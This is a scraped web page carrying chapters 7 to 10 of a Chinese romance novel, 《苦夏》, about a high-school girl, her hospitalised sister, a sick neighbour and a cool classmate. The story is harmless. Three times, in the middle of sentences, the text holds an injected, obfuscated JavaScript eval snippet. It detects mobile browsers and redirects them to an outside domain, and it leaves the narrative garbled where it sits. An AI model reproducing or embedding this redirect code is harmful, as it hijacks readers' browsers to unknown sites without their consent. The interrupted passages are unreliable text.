《苦夏》 7. 苦夏 放学后,因为放心不下沈青芸,沈青梨还是按照赵逸霄说的坐公交车来到了苏市第一人民医院。 她在护士台问着沈青芸住的病房,一间间病房循着找过去,终于在一间病房的墙上看见了沈青芸的名字。 病房没有关上,她敲了敲门走进去,发现沈青芸已经醒了,她躺在病床上,沈母沈父正陪着她,病床边正放着热腾腾的一碗粥。 见到她沈父有些意外,沈母则是不敢看她,躲避着沈青梨的眼睛。 只有沈青芸看见她,惊喜地喊着她:“阿梨!你怎么过来了?” “我来看看你怎么样,你还好吗?”她走到沈青芸的病床边,轻声地问着。 “没事你放心吧,我就是昨天晚上睡觉的时候着凉了,所以才会发烧。”她苍白着脸冲沈青梨笑了笑,叫她放宽心。 “你没事就好。”见她真的如赵逸霄说的一样,没有什么大事情,沈青梨才终于松下一口气来,随后她从包里拿出卷子和作业,边说边递给她:“对了,这是赵逸霄学长让我带给你的作业和今天上课的笔记。” 听到赵逸霄的名字,沈青芸原本还苍白的脸上立刻露出了笑,她眼睛一亮,笑着接过她手里的东西,开心道:“还好有他帮我记着,不过我可能还要在医院呆几天,阿梨麻烦你帮我谢谢他哦。” “好。”见面前的她这样高兴,沈青梨缓缓点点头,心里却想着其他的事情。 她还有作业要回家做,所以也不能在医院呆太久,临走的时候,沈母出来说要送她,被她回绝了。 “我自己回去就好了,你们照顾好姐姐吧。” 她客气又疏离的话让沈母表情一僵,她大概是想起了自己早上的行为,后知后觉的愧疚让她不知道怎么办才好。 沈父也很明显察觉到了母女两的不对劲,他从口袋里拿出钱递给了沈青梨,说着:“小梨爸爸妈妈可能会晚点回家,你拿着钱自己去外面买点东西吃,不要饿到。” “好的,谢谢爸爸,那我先走了。”她点点头,背上书包,离开前看了病房里的三个人,沉默地关上了病房门。 - 走在医院的长廊上,她把钱塞进衣服的口袋里,低下头看着自己胳膊上的伤口,红肿的地方变小了很多,估计用不了多久就能好了。 …… 如果所有的事情都能像这个伤口一样,只要时间够久,一切就都能愈合变好,那就太好了。她在心里出神地默默想着,却听见面前敞开的病房里有一个熟悉的声音喊着她的名字。 “青梨?” 沈青梨闻声抬起头,看见躺在病床上的人,惊讶地喊出声:“夏阿姨?” 夏琳笑着冲她招招手,示意她走进来。 沈青梨走进病房,看着夏琳瘦削的脸色,担忧道:“夏阿姨,你怎么在这里啊?你怎么看着瘦了好多。” “嗯……是生了个小病,不过你怎么在医院啊?是哪里不舒服吗?”夏琳叫她在自己病床边的椅子上坐下,语气关切地问着她。 听着夏琳温柔关心自己的声音,她低下头眼睛不由得一酸,强忍着心底的情绪摇了摇头说:“没有,只是家里有人生病了,我来探病的。” “哦是这样啊,那你爷爷奶奶身体都还好吧,阿姨一直住在医院里,都没办法回去看看他们两位老人家。” “都挺好的。” “那就好。””夏琳点点头,随后像是察觉她低落不对劲的情绪,伸出手拍了拍她的肩膀,沈青梨顺势抬起头,看见面前的女人正神色温柔地冲自己笑着:“那青梨你呢?搬去和爸爸妈妈姐姐一起住过得还习惯吗?” 沈青梨没料到夏琳会这样问自己,她哑然了几秒,又猛地低下头不说话。 记忆里好像回到了最开始,她刚回到镇里住下的那段时间,所有的不愉快与难过都萦绕在她的心口,白天在学校里,繁重的功课让她没时间分神,可等她自己一个人安静下来,那些涌上来的情绪让她闷得几乎要喘不过气来。 那时候面前的夏琳,也是用着这样轻柔的语气问她,是不是过得不太开心。 她当时也没有说话,眼泪却不受控制地掉下来,和此刻一样。 沈青梨觉得自己是能一个忍受孤独痛苦的人,但她却无法在一个温柔的人面前控制住自己的情绪。 可现在对她很好的夏阿姨好像也过得不太好,她伸出手揉了揉湿了的眼睛,逞强地说自己挺好的。 夏琳看破她强撑的样子心疼地直皱眉,却没有立刻拆穿。 她正要继续说些什么,门外传来的脚步声却打断了两人的谈话,沈青梨听见声音,她红着眼睛抬起头,看见拿着保温桶愣在门口的林夏清。 他看着她红着的眼睛眉头轻轻皱了一下,然后马上恢复如常,提着煲好的汤走进来,喊了夏琳一声:“妈。” “哎不是叫你不要过来了吗?” “留您一个人在医院我不放心。”他说着话,打开放在桌上的保温桶,把里面的汤倒在碗里递给夏琳。 沈青梨在他走进来的时候就站起了身,她有些不好意思地揉了揉自己的眼睛。 当下这样狼狈的自己,她自尊心强得并不想被林夏清碰见。 又准确来说,是不想再被他碰见。 那时有太多人都认为沈青梨是一个冷漠的人,就连她亲爸妈都曾不止一次那样觉得过,可只有少数的人知道,她强硬冷漠的外表下藏着一颗怎样敏感的心。 她总在用佯装无所谓来修饰自己脆弱的心,似乎只要那样就能够骗过自己。 可是她的伪装就像是内里已经斑驳铁锈的娃娃,用鲜艳夺目的颜料包装,却脆弱地经不起一场雨的洗礼。 少女的眼泪决堤,有人和她一起淋过一场雨,那个在所有人眼中与她最不相干的人,其实也是最了解她的人。 - 想起之前的事情,她觉得自己待在这里有些坐立难安,于是开口想要和夏琳说自己先走了。 只是话还没来得及开口,外头突然下起了暴雨,密密麻麻的雨滴砸在玻璃窗上,夏琳接过那碗汤,顺势看了一眼外边的天气,对着他们两道:“下雨了啊,你们两过来的时候带伞了没有啊?” “我带了。” “那青梨你呢?”夏琳看了自己儿子一眼,转头问着沈青梨。 “我……没有。”她勉强地回答道,虽然急着想走,但眼下又找不到合适的时机。 “那正好等会让夏清送你回去吧。” 听到夏琳嘴边提到的名字,她不由得抬眼看了林夏清一眼,见他没有任何反应,沈青梨尴尬地笑了一下道:“不用麻烦了夏阿姨,我… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171384|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 她推脱的说辞还没讲完,林夏清却突然开口打断了她的话,道:“可以。” 闻言,她向他投去诧异的目光,显然是没料到他会同意这件事。 但林夏清仿佛完全没注意到她的反应,答应完后又继续忙着手边的事情。 夏琳见自己儿子没有异议,不自觉地松了口气。 她和沈青梨继续聊了会天,直到护士走进来提醒她吃药,吃完药后夏琳就要休息,看着天色渐晚,她催促着面前的两个孩子早点回家。 “时间也不早了,你们早点回去吧,路上注意安全啊,夏清你看着点青梨,一定要把她安全送回家知道吗?” 听着自己亲妈的嘱咐,林夏清点点头答应着,他整理好手边的东西,见妈妈已经躺下,他关了灯,和沈青梨脚步很轻地退出病房,并且关上了门。 - 离开医院时,外边的雨还在继续下着。 她和林夏清走在湿漉漉的地上,周边雨水溅起的泥点砸在两人的裤脚上,林夏清打的伞很小,在滂沱的雨声里,他们只能被迫挤在一把伞下,被迫靠近彼此。 沈青梨和他并肩走着,嘴边其实有无数个想要问出口的疑惑,可是真要开口,她却又不知道该从哪里说起了。 身旁的人始终都很安静,她无处安放的眼神只能落在头顶的雨伞上,也才发现已经走了一段路的林夏清,不经意地把雨伞朝着自己的方向倾斜了一个弧度。 注意到他的这个行为,她像是想到了什么,表情一怔。林夏清注意到她变慢的脚步,转过头来问她:“怎么了?” “没,没事。”她看了一眼林夏清,又马上低下头,轻声催促道:“快走吧,雨又下大了。” 注意到她躲避着自己的眼神,他也移开目光,轻轻应了声“嗯”。 - 之后的路上,除了林夏清会问起她应该走哪一个路口转弯外,两人几乎都没有交流。 外头的雨倒是愈下愈大,似乎没有要停下来的意思,嘈杂的雨声,听得沈青梨心里格外烦躁。 眼看着再不开口,就马上要到家门口了,她抿了抿唇,终于还是把心中的疑问问了出来:“夏阿姨她……生了什么病啊?” 林夏清注视着前方,他听到她的声音步子一顿,还以为这一路上他们不会再有交谈聊天的机会了。 他缄默了几秒,声音变得有些哑:“乳腺癌。” “什么?”沈青梨听到回答后,震惊地停下了脚步,她难以置信地问他:“怎么会……什么时候的事情?我上次见到夏阿姨她不是还……” “几个月前。”他注意到她嘴边说的“上次”,整个人变得脸色更不好起来。 “那现在夏阿姨她怎么样?”沈青梨着急着,完全没注意到他的不对劲。 “之前做了个手术,现在在医院做化疗。”谈起夏琳的病情,林夏清难得露出颓废的神色,他只解释了寥寥几句,就不愿再多说。 “怪不得夏阿姨瘦了那么多……”听到这个消息,她的心情也消沉下来,夏琳对她来说,比沈母还要更像自己的妈妈,在那些灰暗的日子里,除了爷爷奶奶,夏琳是唯一一个给予过她光亮的长辈。 想着,她抬头看着偏过头不再讲话的林夏清,嘴边其余的话突然感觉烫嘴地问不出来了。 8. 苦夏 林夏清把她送到了家门口时,两人因为刚才谈到夏琳的病情,脸色都不太好看。 临走前,沈青梨看了他好几眼,最后还是踌躇地问出口:“那我以后能经常去医院看夏阿姨吗?” 她想无论自己和林夏清现在怎么样还是以后怎么样,但是夏琳对她来说都是很重要的长辈,她希望夏琳能身体健健康康的,不然她也不会放心的。 只是目前,她不清楚林夏清对自己的态度是什么样,也不敢贸然地直接去。 而他大概也没料到,察觉到她欲言又止的表情了一路,最后却听到他问自己这个问题,所以一时都有些愣住,没有第一时间开口。 而她很明显也误会了他的反应,于是沈青梨皱了一下眉头,声音明显变轻了很多:“如果你介意的话……” 闻言,他摇摇头,刚才原以为站在面前的她会询问自己另外一件事情而紧绷起来的情绪,在此刻悄无声息地渐渐淡去,才开口道:“不会,我妈看到你应该会开心不少。” 虽然不明白她为什么觉得自己会介意,但他这句话说得的确是实话。 “那就好。”沈青梨没有注意到他隐藏在雨声下的情绪,见他没有介意的意思,她点点头,悄悄松了口气。 眼见外头的雨慢慢小了下来,方才在医院就想要问出来的话又再次萦绕在她的脑海里,沈青梨为难地看了她一眼,可是在即将脱口而出的时候,她却突然退缩了。 如果那个答案并不是她想要的,又或者她压根就不应该问呢? 他们的关系已经和以前不一样了,她能感觉大,于是……在一阵纠结犹豫下,最终她还是败下阵来,对他催促道:“那我先回家了,今天谢谢你,雨快要停了,你也快回家吧。” 说罢,她正要转身离开,身后的林夏清见她要走,有些着急地开口叫住她:“等等……” “怎么……了”她转过身,却发现面前的人手里不知道什么时候拿了一小瓶药水。 像是注意到她疑惑的目光,他有些不自然地清了清嗓子,把东西递给她解释道:“是我妈让我给你的。” 说着,他用手指了指她的胳膊,说着:“涂了药应该能好得快一点。” “哦……”她愣愣地接过那瓶药水,不禁又看了他一眼,说道:“那你记得帮我谢谢夏阿姨。” “……嗯。” “那我先回家了……” “好。再见。” 她把那瓶药水抱在怀里,和林夏清说了句再见,才装作若无其事地走进家里,而在对方看不见的地方。 关上了门后,她背靠在门背后,心情复杂地盯着怀里的东西,指腹摸着药水的透明玻璃壳,良久,她抿着唇,唇角轻轻勾了一下。 或许,也没有她想的那么糟糕吧?她想着。 - 两人告别后,林夏清站在原地,看着她走进了家门才迈动步子离开。 走在回家的路上,他步子莫名变慢了很多,走到马路边的时候,他接到夏琳打来的电话。 “喂,妈。您怎么醒了?” “夏清,你到……你爸家了吗?”夏琳犹豫的声音从电话那头传来。 “还没有,我刚把沈青梨送回家,现在在回去的路上。” 说话间,外面的雨终于稀稀拉拉地停了下来,他边说话边收了伞。 夏琳听到他的话后在电话那头沉默了几秒,才开口问道:“你和青梨说了吗?我看今天你们俩之间的气氛有点怪。” “……”这下轮到他停下脚步沉默了。 “夏清?你还在听吗?怎么不说话?” 过了半晌,听到妈妈的声音,林夏清才哑着声音开口应着:“妈,我在听……我,我觉得没什么好说的。” 夏琳听着他的回答,明显也料到了自己儿子会是这个反应,想到这,她不由得叹了口气,愧疚道:“是妈妈连累了你。” “别这么说妈,这一切都是我自愿的。” 听他这样说,夏琳在电话那头哽咽着声音:“夏清……” “妈。”林夏清知道他妈妈下面要说什么,所以他打断夏琳的话,抬起头看着路边暖黄色的路灯,他无声地叹了口气,才道:“现在您什么都不要想,好好养病,这才是眼下最重要的。” “……好。” “您早点睡吧,我现在要回去了。” …… - 话落,他嘱咐了妈妈几句,才挂断了电话继续朝着前走。 快走到小区门口的时候,身后有人突然喊着他。 “林夏清?” 闻言,他转过身发现是洛伊秋。 “你这么晚了怎么还在外面?”她手里拿着一本琴谱,走到他的身边问着。 他看了她手里的东西一眼,没有直接回答她的问题,而是反问道:“你不是也在这?” “哦,我是刚从你家出来,今天林叔叔请我们家吃饭,你不知道吗?”她尴尬地笑了笑,像是为了掩盖什么,嘴上虽然这样说着,但现在这个点显然已经不是饭点了,所以嘴边的话听着漏洞百出。 但林夏清并不在意她的不自然,他摇头随口道:“不太清楚。” “哦也是,你一向对什么都不在意。”洛伊秋也早就习惯了他这副冷冷的样子,丝毫没有介意。她说着,低头看手机上发来的消息,像是想起了什么问道:“不过……你今天怎么突然迟到了?” “什么?” “你不是一直都来得很早吗?你迟到的事情要是被林叔叔知道……” “你这是在威胁我?”林夏清听着她的话,抬眼盯着她眉头紧蹙起来,语气都变得更冷冽。 “欸欸欸不是,你别这副样子盯着我,怪吓人的。”洛伊秋看着他的脸色,连忙摆手解释道:“你放心,我没和你爸说这件事情,不过能不能瞒过去就看你了。所以……” 说着,她冲他使了使眼色,暗示道:“礼尚往来,今天你看到我的事情你也就当做没看见,怎么样?” 林夏清不解地看了看她,又看见远处朝他们这走来的赵逸霄,原来是打的这个主意,虽然有些无语,但他也没有反驳,算是默认同意了。 洛伊秋很明显也看见了赵逸霄,她低头看了一眼自己怀里的琴谱,脸上不禁露出笑来。 赵逸霄走近,显然没料到他也在,脚步都顿了一下。 “你也在啊。”他的动作只停顿了一秒,随后又恢复如常地走上前来,和林夏清礼貌地打了个招呼。 而林夏清则是把这一切都尽收眼底,他无意掺和这两人的事情,所以没有表情地冲他点点头道:“马上就不在了。” 话落,他转身就要走,赵逸霄却开口喊住了他,犹豫道:“那个,今天你遇到我们的事情……” “放心,我不会告诉别人的。”他看了两人一眼,撂下一句话后就走了。 - 走到别墅门口,他拿出钥匙打开门,客厅里漆黑一片,他走上前打开墙边的开关,楼上突然传来脚步声。 他抬起头,发现一个面容姣好的女人正穿着睡衣神色不明地站在台阶上,这是他的继母。 她正轻蔑地瞥了他一眼,讥讽道:“回来这么晚?” 他抬头睨了对方一眼点点头,脸不红心不跳地扯着谎:“嗯,在学校耽搁了一会。” “是吗?”女人很明显是不相信的,但她也并不在意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171385|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看了一眼客厅的桌子打了个哈欠,语气无所谓地告诉他:“没给你准备晚饭,你要是饿了就自己解决。” 说罢,也没等林夏清的回答,她就转身上楼睡觉了。 客厅又重新恢复一阵死寂,他缄默地关掉客厅的灯,径直回了自己的房间。 关上房间的门,他却没有直接开灯,而是呆坐在书桌前,夜空中被乌云挡住的月亮冒了个尖,微弱的月光照进屋内,是此刻他身边唯一的光亮。 外面不知道什么时候又开始下雨了,林夏清看着雨滴划过玻璃窗,留下一道道水痕,让窗户上他的倒影都变得模糊。屋外的雨似乎下大了,窗上的水痕越来越多,密密麻麻地“浇湿”外窗。 在这样寂静的夜晚,周围静悄悄的,他只能听到外头雨滴打在窗户、树叶和地面的声音。 不知道为什么,他突然想起白天洛伊秋问及他的那番话。 - “你之前认识沈青梨吗?” 他和洛伊秋走在去小卖部的路上,对方突然的发问叫他一愣,他自己都没有注意到走着路的脚步就乱了几步,过了好几秒,他才勉强找回了自己平常说话的声调问:“谁?” “就是刚才和我们一起打扫操场的女生啊,她叫沈青梨。” “哦。你怎么突然问这个?”他看了一眼洛伊秋,装作不经意地问。 “就是看你们刚才打扫操场的时候配合挺默契的,所以就好奇问问。” 看她应该真的只是随口一问,他也作势顺着她的话题问:“她是你朋友?” “嗯,新交的同班同学,刚认识没几天。”洛伊秋点头回答着,“我还挺喜欢她的。” “是吗?你们怎么认识的?” 洛伊秋把开学那天认识沈青梨的全部经过都和他说了一遍,全然没有注意到身边平日里讲不了几句话的人,在关于沈青梨这个话题上格外话多。 听她说完,感觉像是一场单方面无厘头的自来熟,他觉得有些荒谬,开口问她:“你为什么突然想和她交朋友?” “啊?”骤然被问到这个问题,洛伊秋明显藏着什么事,她眼神闪躲地掩饰着:“因为我觉得她很漂亮啊,尤其是她的眼睛,又黑又亮。” “……” 听着她显然不是真心的回答,林夏清沉默了片刻,才声音很轻地反驳:“她的眼睛是琥珀色的。” “什么?”洛伊秋没有听清,大声问他。 他后知后觉地意识到自己刚才说了什么,垂下眼睑,掩饰道:“没什么。” “哦对了,你还没回答我,你们到底认不认识啊?” 话题又绕到了最开始,林夏清看着前边的路说道:“不认识。” 他的语气淡得让人听不清情绪,所以洛伊秋也没有继续追问。 她听到他的回答后,不知道是相信了还是没相信,“那看来可能是我想多了?不过也是,你们两也不是一个世界的人,怎么可能会认识。” 听到她的话,林夏清这次没有接话。 不是一个世界的人…… 他看着外头倾盆的大雨,洛伊秋的那句话在他脑海里来回反复着,叫他忍不住发出一声自嘲。 她没有说错,现在的他们的确不是一个世界的人了。但他又很想辩解,他们曾经是一个世界里的人。 曾经。 这两个字让他晦暗的眸子里闪烁着,不出意外,他们也只会有曾经了。 - 林夏清也的确没有想错,后来被命运推着往前走的那些年,他们之间连曾经都变得模糊,但他们都没得选择。 他们不会再是一个世界的人了。哪怕他从来没有说过愿意。 9. 苦夏 苏市一周阴晴不定的天气结束,高一的新生正式迎来长达一周的军训。 穿着绿色的迷彩服,在烈阳底下站军姿,每个班级的学生都苦叫连连,唯一能让他们有点盼头的大概只有军训结束后的文艺晚会。 每个班级都要出个节目,洛伊秋作为班长每天都为这件事情忙得焦头烂额。相比之下,沈青梨就闲多了,她没有什么特长能上台表演,就准备到时候坐在台下看着。 - 军训的最后一天,在中午前结束了全部的训练。 高一部的学生如释重负,沈青梨又被洛伊秋拉着一起在食堂吃饭,陈朝喜自然也是在,不过自从她上次知道自己是沈青芸的妹妹之后,对她也多有照顾。 她们熟悉了一些之后,陈朝喜欢脱的性子就暴露无遗,她从知道洛伊秋帮着学校负责文艺晚会后就一直问着她关于今天下午舞台的事情。 “怎么样,提前透露一下有没有什么很精彩的表演,要是没有的话我可就溜了。” “你又要去干嘛?”洛伊秋喝了口饮料,抬头问她:“你最近都干嘛去了?一到休息时间就消失,有的时候都找不到你。” “啊?我?”提到这个陈朝喜不好意思地笑了笑。 洛伊秋和她认识久了,一眼就能看出她的尿性,几乎秒猜到:“你又看上谁了?” 又?听到这个字她不禁抬起头也有些好奇。 像是注意到她疑惑的目光,洛伊秋笑着和她解释道:“青梨你不知道,咱们这位陈朝喜同学可是出了名的暗恋大王,一个学期能靠着眼缘顾名思义暗恋好几个人。” “喂!哪有你说的那么夸张!” 陈朝喜看见沈青梨朝她投来诧异的目光,有些恼羞成怒起来。 洛伊秋笑她说不过就急,不过她们这个年纪本就正是八卦的时候,于是打趣着问:“好了不逗你了,你快说吧,又看上谁了?” “哎呀这次真没有,我这几天是去高三部找我表姐了。” “好吧……”见八卦不到,她面露可惜,不过很快就又被转移了注意:“你还有表姐在这里上学吗?我以前怎么没听你说过啊?” “我也才知道,我妈最近才和我表姐妈妈,也就是我婶婶联系上,也才知道原来我表姐和我一个学校在读高三。”陈朝喜解释着:“正好我妈有东西要带给我婶婶,就让我正好拿给我表姐咯。” 洛伊秋“哦”了一声,随后又像是想起了什么,继续开着玩笑道:“诶你之前不是还说咱们班英语老师算是你亲戚来着吗?你在我们学校的亲戚人脉也太多了吧。” “你和赵老师是亲戚啊?”赵玉芳,是她们班级的英语老师,沈青梨不知道这事,闻言倒是有些震惊。 “对啊,不过我感觉这种事情说出来很容易被人传不好听的谣言啊,所以没什么人知道。” 听着她的话,沈青梨若有所思地点了点头。 她面前的这两个人,一个阿姨是自己班级的老师,一个爸爸是自己学校的校长。 还有……林夏清。 她想着这件事情,突然觉得和周围认识的人比起来,她好像是和苏市一中最没有关联联系的人,如果非要有一个的话,那大概就是沈青芸妹妹这个头衔吧。 沈青芸作为苏市一中同样的风云人物,也时不时会给她引来一些议论和瞩目。 - 吃好饭后,洛伊秋有事要找赵逸霄,只好和她们先分开。 但往常肯定不愿意跟着洛伊秋一起往楼上跑的陈朝喜一反常态,她拉着对方笑嘻嘻讨好道:“你带我一起去呗。” 此话一出洛伊秋抬眼马上用狐疑的目光看向她。 被她盯得心虚,陈朝喜最终还是没扛住她的“审视”,说了实话。 “好吧,其实是因为我前几天去找我表姐的时候,在高三的班级里看见了陆霁冬。”提到这个名字,她看了看洛伊秋的脸色,吞吞吐吐地解释着。 “陆霁冬?!他怎么会也在这?”显然,洛伊秋听到这个名字就紧皱起了眉头,连声音都变尖了起来:“那你和他打招呼了吗?” “没有……”被她这样问,陈朝喜像是想起了什么,支支吾吾道:“哎呀你别问了,你快上去吧,我们先回班级了。” 似乎是怕洛伊秋再继续追问什么,她说完没等面前的人回答就先一步喊着沈青梨走了。 她不明白地看了两人一眼,和洛伊秋说了声才跟着陈朝喜一块回班级。 在走廊上,她眼看着身边的人连叹了好几声气,察觉到她心情不好,她主动开口:“你要是想上楼去的话我可以陪你去。” “不要,反正他也不记得我了,我才不去呢!”她像是被刚才洛伊秋的问题戳到了什么难受的心事,整个人都蔫了下来,说话都赌着气。 沈青梨看着她这副样子不太明白所以然,但这好像又是属于陈朝喜的私人,她也不好过多地直接过问。 …… 下午三点,文艺晚会开始排练,高一的班级被老师安排着提前入场。 高一(2)班的学生坐在第四排朝后,前排就坐着高一(1)班的学生。 沈青梨找了个位置坐下,她看了眼身边心不在焉的陈朝喜,问道:“洛伊秋呢?” “哦她好像被老师安排上台主持去了。”陈朝喜说道。 闻言她点点头,洛伊秋一向是学校里这些老师心目中的好学生,被安排上去也不过分。 想罢,她看着坐在自己前排的学生,小心地把目光朝着前边望去,1班的人都差不多到齐了,可她却没有看见林夏清的身影。 但还没等她细想,周围的学生都到齐坐下,台上的麦克风里就响起了开场的声音。 沈青梨抬起头,看见主持人从后台走上前,她最先看到了走在最前面的洛伊秋,陈朝喜这会盯着台上,轻声和她说了句:“伊秋出来了。” 她应了声,目光却在看见走在洛伊秋身后的人时一愣。 林夏清和她两人走到舞台正中央,他们和台下穿着迷彩服军训装的学生不同,洛伊秋穿着一身暖白色的礼服纱裙出场,她的裙摆边缀着碎钻,在灯光的照射下格外亮眼。 她手里拿着这场晚会的开场台词,望着台下乌泱泱的人,表情自然又从容地笑着,丝毫不见怯场的样子。 从她出场的那一刻,台下众人皆不断地发出“哇”的欢呼声,林夏清站定在她的身边,他穿着一身黑色的西装,深色的衣服像是与他完全贴合,衬出他高挑的身材和与平日里完全不一样的气质。 他抬起冷峻的眉眼,白皙骨节分明的手上也拿着一份和洛伊秋一张的卡片。 还没等台下的人做出反应,室内的灯在一瞬间全部被熄灭,而下一秒,台上打下一束月白色的光圈,正正好地落在这两人的身上。 两人像是接收到了指令,对视了一眼,然后拿起嘴边的话筒一起开口道:“各位尊敬的老师和亲爱的同学们,大家下午好,我们是本次高一军训结业文艺晚会的主持人。” “我是洛伊秋。” “我是林夏清。” 他们各自介绍着自己的名字,话落,台下顿时响起洪亮的掌声。 沈青梨坐在人群里,她怔愣了一秒,随后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171386|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才和周围的人一起鼓掌,底下借着鼓掌的空隙有人在大声谈论着。 “男帅女美啊,这两人是谁啊?看着好般配!” “你怎么连他们都不认识,男生是1班的那个中考状元啊,女生是2班的,咱们校长亲女儿。” “听说他们两家还是世交呢,这不就是言情小说里男主女主的发展情节吗?” …… 身边的讨论声不受控制地传到她的耳边,沈青梨却觉得有一瞬间,周围的喧嚣声好像都消失了,只余下她一个人坐在这空荡的表演厅,她抬起头紧紧盯着台上的两人,一股酸涩的情绪蔓延在她的胸口,上不去也下不来。 因为她也不得不承认,台上的两人配合得很默契,站在一起的他们看上去也特别养眼,似乎他们才像是站在一个世界、一条路上的人,而她始终只是旁观者。 想到这,她不由得垂下眼,她眨了眨干涩的眼睛,不敢继续抬头。而那个一举一动都牵绊着她情绪的人,从始至终都没有抬头看她一眼。 这只是她一个人的心里戏,不会有任何一个人知道。 …… 周围热烈的鼓掌声叫她不得不清醒过来,即使后来的沈青梨不愿意承认自己这份出现异样的悸动,但是当时遗留在那个大厅里片刻的愣神和不措,是最无法掩饰的心事。 台上的他们报完第一个节目,两人一齐准备先退到后台,沈青梨盯着林夏清高瘦的背影,她第一次那样无比清楚地意识到自己并不了解远处的这个人,从开学遇到他到现在,对方都给她一种很奇怪的感觉,她说不出个所以然来,但她能感觉到,他们之间的距离在越拉越远。 她想她永远都不会成为像洛伊秋这样落落大方的人,她也不会成为这个学校被无数人关注着的人,与他们不一样,太多的目光只会让她感到不舒服与不自在。 他们身后舞台的帷幕被缓缓拉起来,舞台上表演的音乐响起,陈朝喜总算提起了点兴趣,她百无聊赖地边看着边和沈青梨聊天:“欸伊秋的表演是不是在下一个来着?” 她问着身旁的人,却见她没反应,于是又喊了她几声:“青梨?青梨?” “啊?”听到有人在喊自己,沈青梨才如梦初醒般回了神,她偏过头看着陈朝喜问:“怎么了?” “你怎么了?刚才喊你好几声你都没听到。”陈朝喜也很敏锐地察觉到她的不太对劲,关切地问道。 “没事。”她勉强扯出一抹笑,岔着话题:“下一个是伊秋和赵学长的钢琴表演了吧。” 一提到这个,果不其然陈朝喜的注意力很快就被吸引走了,她点着头,语气都带了点兴奋:“是啊,不知道他们两要弹奏什么曲子,排练以来怎么问她都不肯说,我倒要看看到底是什么让她藏这么好。” 看她没有再继续追问她方才的反常,沈青梨暗自松了一口气。 这次高一的文艺汇演,洛伊秋特地和老师申请找了赵逸霄来帮忙,听陈朝喜说他们两以前在初中就经常一起参加表演,还拿过不少奖,想到这,她努力压下心底不舒服的情绪,探着头和陈朝喜一起等待着。 只是台上的第一场表演结束前夕,她突然被后排的同学拍了拍肩膀。 沈青梨转过头,见那个不认识的女生对她轻声道:“同学,你姐姐在门口,她让我喊一下你。” 话落,她朝着那个女生指的方向看去,果不其然看见了站在门边的沈青芸。 见状,她和身边的陈朝喜说了一声,她弯下腰猫着身体跑出去,借着室内微弱的光她走到沈青芸身边,对于她的到来有些意外:“姐,你怎么过来了?” 10.苦夏 “喏,给你这个。”她把一本谱子塞进了沈青梨的怀里,解释道:“逸霄刚才和我说他们表演的曲谱出了点问题,所以让我把临时备用的送过来。” “哦这样啊,那你直接拿去后台就行了啊,怎么还交给我了?”她点点头,虽然不明白沈青芸为什么这样做,但是看面前的她轻喘着气,脸色也有点发白,她担忧道:“不过台上的表演马上要结束了,姐,你和我一起去后台给他们吧,顺便休息一下?” “不……不用了。”沈青芸听到她的提议,难得地拒绝了,她像是很怕被沈青梨看出些什么,慌张地撂下一句:“我班里还有点事情,你赶紧去吧,我就……先回去了。” 话落,不顾沈青梨在背后喊她的声音,她走得很快,一下子就没了影。 见状,她无奈地瞥了一眼怀里的谱子,只好自己走另外一道门直通去后台。 走到后台的时候,只有赵逸霄站在原地有些焦急地等待着,他看见沈青梨一愣,但很快就看见了她手里的东西。 见他盯着自己,她走近解释道:“哦学长,正好你在这里,这个是我姐让我拿给你的东西。” 闻言,赵逸霄嘴边道着谢,他接过曲谱,翻了几页看了一眼,确认无误后才终于松了一口气,他顺势抬起头,唇边扬起一抹感激的笑,对她说道:“真是谢谢你了青梨,要不是你把东西给我拿过来,我都不知道该怎么办了。” “啊不用谢的学长,你要感谢还是谢谢我姐吧,我就是顺手帮她拿进来而已。”没料到赵逸霄会这么说,她摆了摆手。 “哦对还有青芸,对了她人呢?怎么没和你一起过来?” “她说班里有点事情,把东西给我匆匆忙忙地就走了,应该是要忙着回去上课吧。” 听她这样说,赵逸霄难得沉默了一会,他不知道是在想什么,过了半晌,他才道:“那应该是吧,没事,等我明天亲自去谢谢她。” “嗯好,那我先走了。”沈青梨倒是没多想什么,她见沈青芸拜托自己的事情已经办到了,就想着要回去。 正巧在这时,换好衣服的洛伊秋从换衣室里走出来,她看见面前正在说话的两人先是愣了一下,但很快,她又恢复原先的表情,走上前问着她:“青梨,你怎么在这里啊?” 听到声音,沈青梨转过身,看见换了一身白色中短裙的洛伊秋,她人长得很白,这套裙子很显她的腰身,她不由得感叹一句:“你这身裙子也好漂亮啊。” “真的吗?这还是我第一次听你夸我呢。”见她夸自己,洛伊秋肉眼可见地高兴起来,她站在赵逸霄的身边,看见他手里的谱子,下意识望了四周一圈。 注意到她在找谁,赵逸霄就和她解释了一下沈青梨过来的原因。 